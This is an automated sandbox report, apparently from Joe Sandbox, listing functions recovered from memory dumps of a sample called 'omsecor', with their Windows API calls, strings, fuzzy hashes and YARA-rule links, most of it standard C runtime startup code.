Opcode Fuzzy Hash: 18a205e926d3f8c1bd8ceb8f3c836a0ea39c7540959748e6d39d93322aab4e9f
Instruction Fuzzy Hash: B501CC00F4D24539DA2051754C0197F7AA89A533687141677A111B72D3D9BCBE0692BF

Function 00407A59 Relevance: 7.6, APIs: 5, Instructions: 100
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Part of subcall function 00407A98: GetModuleHandleA.KERNEL32(00407A8F), ref: 00407A98
Part of subcall function 00407A98: GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
Part of subcall function 00407A98: VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
Part of subcall function 00407A98: VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
Instruction ID: 8932c9a1b40894ead954c0166dfb712feb6fdadac19e13bdf209ed336a7ac0e8
Opcode Fuzzy Hash: 731a18adefd9f684ec9123585341c8004b06a9316977ab842e52f252e525921e
Instruction Fuzzy Hash: DE21F621A4D2416EEB2186B44C0166B7BE49B13368F1946A7D141EB2C3D1BC7D4687AB

Function 00407AB5 Relevance: 7.6, APIs: 5, Instructions: 54
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,00407AA6), ref: 00407AB6
VirtualProtect.KERNELBASE(?,00000078,00000004,?,00000000,00000000,00407AA6,00407A8F), ref: 00407AC8
VirtualProtect.KERNELBASE(?,00000078,?,?,?,00000000,00000000,00407AA6,00407A8F), ref: 00407ADC
GetModuleHandleA.KERNEL32(?,00407A8F), ref: 00407AEA
GetProcAddress.KERNEL32(00000000,00000000), ref: 00407B12

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: AddressProcProtectVirtual$HandleModule
String ID:
API String ID: 2152742572-0
Opcode ID: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
Instruction ID: 39b30828dda2cca0c429c80848ec8113aa03dbdf6ed959677c669bf53de2d5ad
Opcode Fuzzy Hash: f81dfe0726a7f77e278230a0c4648d339da411b55a21776b762b5ef698216b3c
Instruction Fuzzy Hash: 98F0F400E8D2043CEE2151B40C01ABBBBEC86633687241A27A211E72C3D4BC7E0692BB

Function 00402F3E Relevance: 3.0, APIs: 2, Instructions: 28
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,004017AC,00000001), ref: 00402F4F
HeapDestroy.KERNEL32 ref: 00402F85

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: Heap$CreateDestroy
String ID:
API String ID: 3296620671-0
Opcode ID: 7bbac67fe878dc3ebcdb7e33c34032945d00a98356e3978511e20ae8c663db98
Instruction ID: 98ebcd61208b82bef51758d9ec37e8992e6abd11400b15b10fa3614edeb5f36b
Opcode Fuzzy Hash: 7bbac67fe878dc3ebcdb7e33c34032945d00a98356e3978511e20ae8c663db98
Instruction Fuzzy Hash: D3E092706643029EEB40AB31AF0D72636E4E74078AF10843BF548F51E2EBBC8605AF4C

Non-executed Functions

Function 00401662 Relevance: 7.6, APIs: 5, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004020B3
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004020C8
UnhandledExceptionFilter.KERNEL32(00408204), ref: 004020D3
GetCurrentProcess.KERNEL32(C0000409), ref: 004020EF
TerminateProcess.KERNEL32(00000000), ref: 004020F6

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: bf9e4dc40609aede9a22b05b14043da035278ae7b0f51125174d724f9b36215e
Instruction ID: b20ca496c67c0111f9bdb02fdd2caa8760b953d18a2e8655b2b95bf976f6fc72
Opcode Fuzzy Hash: bf9e4dc40609aede9a22b05b14043da035278ae7b0f51125174d724f9b36215e
Instruction Fuzzy Hash: 5321AEB5950304DFC710EF24EF48A453BB5BF88306F10403AE549B36A1E7B859A59F9E

Function 00402465 Relevance: 33.4, APIs: 15, Strings: 4, Instructions: 156
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strcpy_s.LIBCMT ref: 004024D1
__invoke_watson.LIBCMT ref: 004024E2
GetModuleFileNameA.KERNEL32(00000000,0040B091,00000104), ref: 004024FE
_strcpy_s.LIBCMT ref: 00402513
__invoke_watson.LIBCMT ref: 00402526
_strlen.LIBCMT ref: 0040252F
_strlen.LIBCMT ref: 0040253C
__invoke_watson.LIBCMT ref: 00402569
_strcat_s.LIBCMT ref: 0040257C
__invoke_watson.LIBCMT ref: 0040258D
_strcat_s.LIBCMT ref: 0040259E
__invoke_watson.LIBCMT ref: 004025AF
GetStdHandle.KERNEL32(000000F4,?,?,00000000,77735E70,00000003,00402631,000000FC,0040667C,00000001,00000000,00000000,?,00403FFF,?,00000001), ref: 004025CE
_strlen.LIBCMT ref: 004025EF
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,00403FFF,?,00000001,?,00403478,00000018,004093D0,0000000C,00403507,?), ref: 004025F9

Strings

Microsoft Visual C++ Runtime Library, xrefs: 004025BC
..., xrefs: 0040254D
Runtime Error!Program: , xrefs: 004024C0
<program name unknown>, xrefs: 00402508

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: __invoke_watson$_strlen$File_strcat_s_strcpy_s$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 1879448924-4022980321
Opcode ID: 37e970e7a91dfcbae92fe90700a2f9926538e6433e08e305a6de03e0bd6f72c8
Instruction ID: 3ad8829dabe9c8e6b7970468b651ade891dcb41a26c93daa50347fadcc2e15d8
Opcode Fuzzy Hash: 37e970e7a91dfcbae92fe90700a2f9926538e6433e08e305a6de03e0bd6f72c8
Instruction Fuzzy Hash: CF3127B2A402153AE62136326F5EF2F314C9B91315F14013BFE09B26D6FABD9A1441FE

Function 00401E76 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 109
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,004017BE), ref: 00401E7C
__mtterm.LIBCMT ref: 00401E88

Part of subcall function 00401BCA: TlsFree.KERNEL32(00000002,00401FF5), ref: 00401BF5
Part of subcall function 00401BCA: RtlDeleteCriticalSection.NTDLL(00000000), ref: 004033DC
Part of subcall function 00401BCA: RtlDeleteCriticalSection.NTDLL(00000002), ref: 00403406

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00401E9E
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00401EAB
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00401EB8
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00401EC5
TlsAlloc.KERNEL32 ref: 00401F15
TlsSetValue.KERNEL32(00000000), ref: 00401F30
__init_pointers.LIBCMT ref: 00401F3A
__calloc_crt.LIBCMT ref: 00401FAF
GetCurrentThreadId.KERNEL32 ref: 00401FDF

Strings

KERNEL32.DLL, xrefs: 00401E77
FlsGetValue, xrefs: 00401EA0
FlsSetValue, xrefs: 00401EAD
FlsAlloc, xrefs: 00401E98
FlsFree, xrefs: 00401EBA

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 2125014093-3819984048
Opcode ID: 354152662784ca78ebbfdb9d1e706067e68d0d363f7f71506686b96da0da82fe
Instruction ID: 2b6f412a48510a2ea5e28321b190ff4220801d9e6bfc04da0c4d4af9d52f3434
Opcode Fuzzy Hash: 354152662784ca78ebbfdb9d1e706067e68d0d363f7f71506686b96da0da82fe
Instruction Fuzzy Hash: AF318F319483029BE7146F75AF05B063AA5AF40355712053FF861B22F5EF7C8490EB5E

Function 00404854 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 164
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(USER32.DLL,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00404881
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0040489D

Part of subcall function 00401AAA: TlsGetValue.KERNEL32(00000000,00401B1F,00000000,00404862,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AB7
Part of subcall function 00401AAA: TlsGetValue.KERNEL32(00000004,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401ACE

GetProcAddress.KERNEL32(00000000,00000000), ref: 004048BA

Part of subcall function 00401AAA: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AE3
Part of subcall function 00401AAA: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00401AFE

GetProcAddress.KERNEL32(00000000,00000000), ref: 004048CF
__invoke_watson.LIBCMT ref: 004048F0

Part of subcall function 00404121: _memset.LIBCMT ref: 004041AD
Part of subcall function 00404121: IsDebuggerPresent.KERNEL32(?,?,00000000), ref: 004041CB
Part of subcall function 00404121: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000000), ref: 004041D5
Part of subcall function 00404121: UnhandledExceptionFilter.KERNEL32(0040B078,?,?,00000000), ref: 004041DF
Part of subcall function 00404121: GetCurrentProcess.KERNEL32(C000000D,?,?,00000000), ref: 004041FA
Part of subcall function 00404121: TerminateProcess.KERNEL32(00000000,?,?,00000000), ref: 00404201

Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
Part of subcall function 00401B21: TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45

Part of subcall function 00401B21: GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,00402F66), ref: 00401B5A
Part of subcall function 00401B21: GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 00401B75

GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 00404904
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 0040491C
__invoke_watson.LIBCMT ref: 0040498F

Strings

GetLastActivePopup, xrefs: 004048C2
GetProcessWindowStation, xrefs: 00404916
GetActiveWindow, xrefs: 004048AD
USER32.DLL, xrefs: 0040487C
GetUserObjectInformationA, xrefs: 004048FE
MessageBoxA, xrefs: 00404897

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$Value$ExceptionFilterHandleModuleProcessUnhandled__invoke_watson$CurrentDebuggerLibraryLoadPresentTerminate_memset
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 2940365033-232180764
Opcode ID: d0843e3b680be133648664f8717c69194e3d07d516d4994a3cb1c1e79535d4f8
Instruction ID: 59fbdf2cbb2ff75c7ae2a14c3bd4fe5a66861bdf874bec260bfce3d1cd22fe51
Opcode Fuzzy Hash: d0843e3b680be133648664f8717c69194e3d07d516d4994a3cb1c1e79535d4f8
Instruction Fuzzy Hash: FD4163F1D00205AEDF10AFB59D86A6F7BA4EB94305B14083FE505F22E0DB7D9944CA5E

Function 00401C07 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 49
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(KERNEL32.DLL,00409328,0000000C,00401D18,00000000,00000000,?,?,?,00402F66), ref: 00401C18
GetProcAddress.KERNEL32(?,EncodePointer), ref: 00401C4C
GetProcAddress.KERNEL32(?,DecodePointer), ref: 00401C5C
InterlockedIncrement.KERNEL32(0040A3C8), ref: 00401C7E
__lock.LIBCMT ref: 00401C86
___addlocaleref.LIBCMT ref: 00401CA5

Strings

KERNEL32.DLL, xrefs: 00401C13
DecodePointer, xrefs: 00401C54
EncodePointer, xrefs: 00401C3E

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: AddressProc$HandleIncrementInterlockedModule___addlocaleref__lock
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1036688887-2843748187
Opcode ID: 6573cce91d4b34aeafb212c3c1fc7eea0ad3c310865ce8df9fb52cfb0840fec2
Instruction ID: 560e36331183b230e08dea58ace58335192f7a528c6e8c7e040251058e5fa637
Opcode Fuzzy Hash: 6573cce91d4b34aeafb212c3c1fc7eea0ad3c310865ce8df9fb52cfb0840fec2
Instruction Fuzzy Hash: 32113D719847019EE7209F76CA45B5ABBE4AF04348F10853FE899B62E1CB7C99418F19

Function 00402C5B Relevance: 13.7, APIs: 9, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 00402C70
__calloc_crt.LIBCMT ref: 00402C83

Part of subcall function 00404032: __calloc_impl.LIBCMT ref: 00404040
Part of subcall function 00404032: Sleep.KERNEL32(00000000), ref: 00404057

__calloc_crt.LIBCMT ref: 00402D06
GetFileType.KERNEL32(00000038), ref: 00402D86
___crtInitCritSecAndSpinCount.LIBCMT ref: 00402DBA
GetStdHandle.KERNEL32(-000000F6), ref: 00402E10
GetFileType.KERNEL32(00000000), ref: 00402E22
___crtInitCritSecAndSpinCount.LIBCMT ref: 00402E50
SetHandleCount.KERNEL32 ref: 00402E7A

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: Count$CritFileHandleInitSpinType___crt__calloc_crt$InfoSleepStartup__calloc_impl
String ID:
API String ID: 1318386821-0
Opcode ID: f5d02d02a8b2d0f0c38f4cc661f228c40208417c0c2fd58e7995995fa6c6c4fe
Instruction ID: b2392c38ea11d8206f0d28861f948c6360aed0bed67f1e2b59f3cb23873ff797
Opcode Fuzzy Hash: f5d02d02a8b2d0f0c38f4cc661f228c40208417c0c2fd58e7995995fa6c6c4fe
Instruction Fuzzy Hash: 366136715447518ED7248B38CB4C7167BA0EF02324F29437BD9A5BB2E1D7B89806CB9D

Function 00403BD3 Relevance: 10.7, APIs: 7, Instructions: 158
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getSystemCP.LIBCMT ref: 00403BEC

Part of subcall function 00403B59: _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00403B66
Part of subcall function 00403B59: GetOEMCP.KERNEL32(00000000,?,00402A85,?,?,00000001), ref: 00403B80

setSBCS.LIBCMT ref: 00403BFE

Part of subcall function 00403854: _memset.LIBCMT ref: 00403867

IsValidCodePage.KERNEL32(-00000030,00000000,?,00000000,00409430), ref: 00403C44
GetCPInfo.KERNEL32(00000000,00403F56), ref: 00403C57
_memset.LIBCMT ref: 00403C6F
setSBUpLow.LIBCMT ref: 00403D42

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: Locale_memset$CodeInfoPageSystemUpdateUpdate::_Valid
String ID:
API String ID: 2658552758-0
Opcode ID: 85fbc29d6093aa115f5ab7fa086d66e65b660b38745e4bae39b2770f61390fd6
Instruction ID: 0e9026f4e105130f7015617c44e62dc713e6d3fa9c6682f74f6de7838a23a284
Opcode Fuzzy Hash: 85fbc29d6093aa115f5ab7fa086d66e65b660b38745e4bae39b2770f61390fd6
Instruction Fuzzy Hash: 875108319042558BDB159F25C8442BABFB8EF05306F14847FE881FF282C63CCA46DB99

Function 00401AAA Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(00000000,00401B1F,00000000,00404862,00000000,00000000,00000314,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AB7
TlsGetValue.KERNEL32(00000004,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401ACE
GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,0040B078,004025C7,0040B078,Microsoft Visual C++ Runtime Library,00012010), ref: 00401AE3
GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 00401AFE

Strings

KERNEL32.DLL, xrefs: 00401ADE
EncodePointer, xrefs: 00401AF8

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: Value$AddressHandleModuleProc
String ID: EncodePointer$KERNEL32.DLL
API String ID: 1929421221-3682587211
Opcode ID: cfafac40d43195ef6ab0f83e6a66070465950e04f68e4f312de4a4817b66f2e0
Instruction ID: 2de7d8fd10128b17cfc71597f2b569db04ade18300f5c4710948ea3b5a4a2571
Opcode Fuzzy Hash: cfafac40d43195ef6ab0f83e6a66070465950e04f68e4f312de4a4817b66f2e0
Instruction Fuzzy Hash: 68F06D307017169BD7219F25DE04A5A3AB8AF80790B16417AB844F62F4EF38DC029A6D

Function 00401B21 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsGetValue.KERNEL32(00000000,00401BB6,?,?,?,00402F66), ref: 00401B2E
TlsGetValue.KERNEL32(00000004,?,?,?,00402F66), ref: 00401B45
GetModuleHandleA.KERNEL32(KERNEL32.DLL,?,?,?,00402F66), ref: 00401B5A
GetProcAddress.KERNEL32(00000000,DecodePointer), ref: 00401B75

Strings

KERNEL32.DLL, xrefs: 00401B55
DecodePointer, xrefs: 00401B6F

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: Value$AddressHandleModuleProc
String ID: DecodePointer$KERNEL32.DLL
API String ID: 1929421221-629428536
Opcode ID: 436f779fc0fdf30fb8c2a4f5b6e2e396cf7c0272443af951d572ffac3d80a1eb
Instruction ID: 1a7e216e592b3cd04d2002f0154b272c3d781bc2d345389bf2442321812c8d59
Opcode Fuzzy Hash: 436f779fc0fdf30fb8c2a4f5b6e2e396cf7c0272443af951d572ffac3d80a1eb
Instruction Fuzzy Hash: 96F062305013129BC7215F24DE44E6A3AB89F407947154136F854F22F0EF34DC018A6D

Function 00407B29 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 004016EA
GetProcessHeap.KERNEL32(00000000,00000094), ref: 00401705
RtlAllocateHeap.NTDLL(00000000), ref: 00401708
_fast_error_exit.LIBCMT ref: 00401716

Part of subcall function 00401671: __FF_MSGBANNER.LIBCMT ref: 0040167A

___security_init_cookie.LIBCMT ref: 004018B6

Strings

j`h, xrefs: 004016D6, 004018BB

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: Heap$AllocateInfoProcessStartup___security_init_cookie_fast_error_exit
String ID: j`h
API String ID: 2660455748-2627015977
Opcode ID: aba137c0f2f88c3b9200040e126f3ca684e81be6c5eda89adfc1ccd5f8954634
Instruction ID: 7291aa48b631972549e6df949c7a5fbc9f7bec4cf14f78cf3737268845182a7c
Opcode Fuzzy Hash: aba137c0f2f88c3b9200040e126f3ca684e81be6c5eda89adfc1ccd5f8954634
Instruction Fuzzy Hash: C3F02E36D01705A7E720A7B4CE49B6D3134AB88765F35013BF5017B2E2CABC4D06A62D

Function 00421170 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 004016EA
GetProcessHeap.KERNEL32(00000000,00000094), ref: 00401705
RtlAllocateHeap.NTDLL(00000000), ref: 00401708
_fast_error_exit.LIBCMT ref: 00401716

Part of subcall function 00401671: __FF_MSGBANNER.LIBCMT ref: 0040167A

___security_init_cookie.LIBCMT ref: 004018B6

Strings

j`h, xrefs: 004016D6, 004018BB

Memory Dump Source

Source File: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: Heap$AllocateInfoProcessStartup___security_init_cookie_fast_error_exit
String ID: j`h
API String ID: 2660455748-2627015977
Opcode ID: c8d3cbbb43655427b4a603559900b38778fbedebf47b5c9131e32ddd9e0d4b3d
Instruction ID: 38895570f31eb67b982826470c9dd1e6c230b0faa58df9c9f10e023fb9096192
Opcode Fuzzy Hash: c8d3cbbb43655427b4a603559900b38778fbedebf47b5c9131e32ddd9e0d4b3d
Instruction Fuzzy Hash: 4DF0E936E48301D7E720A7A09D49B2D3134AB44765F34053BE001BB2E1CDBC4942661F

Function 00403F64 Relevance: 7.5, APIs: 5, Instructions: 44memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00403F82

Part of subcall function 004034EE: __mtinitlocknum.LIBCMT ref: 00403502
Part of subcall function 004034EE: __amsg_exit.LIBCMT ref: 0040350E
Part of subcall function 004034EE: RtlEnterCriticalSection.NTDLL(?), ref: 00403516

___sbh_find_block.LIBCMT ref: 00403F8D
___sbh_free_block.LIBCMT ref: 00403F9C
HeapFree.KERNEL32(00000000,?,00409450,0000000C,004034CF,00000000,004093D0,0000000C,00403507,?,?,?,00406798,00000004,00409530,0000000C), ref: 00403FCC
GetLastError.KERNEL32(?,00406798,00000004,00409530,0000000C,00404045,?,?,00000000,00000000,00000000,00401CEF,00000001,00000214), ref: 00403FDD

Memory Dump Source

Source File: 0000001A.00000002.2374099617.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001A.00000002.2374028457.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374099617.000000000040D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000001A.00000002.2374203937.0000000000422000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_400000_omsecor.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
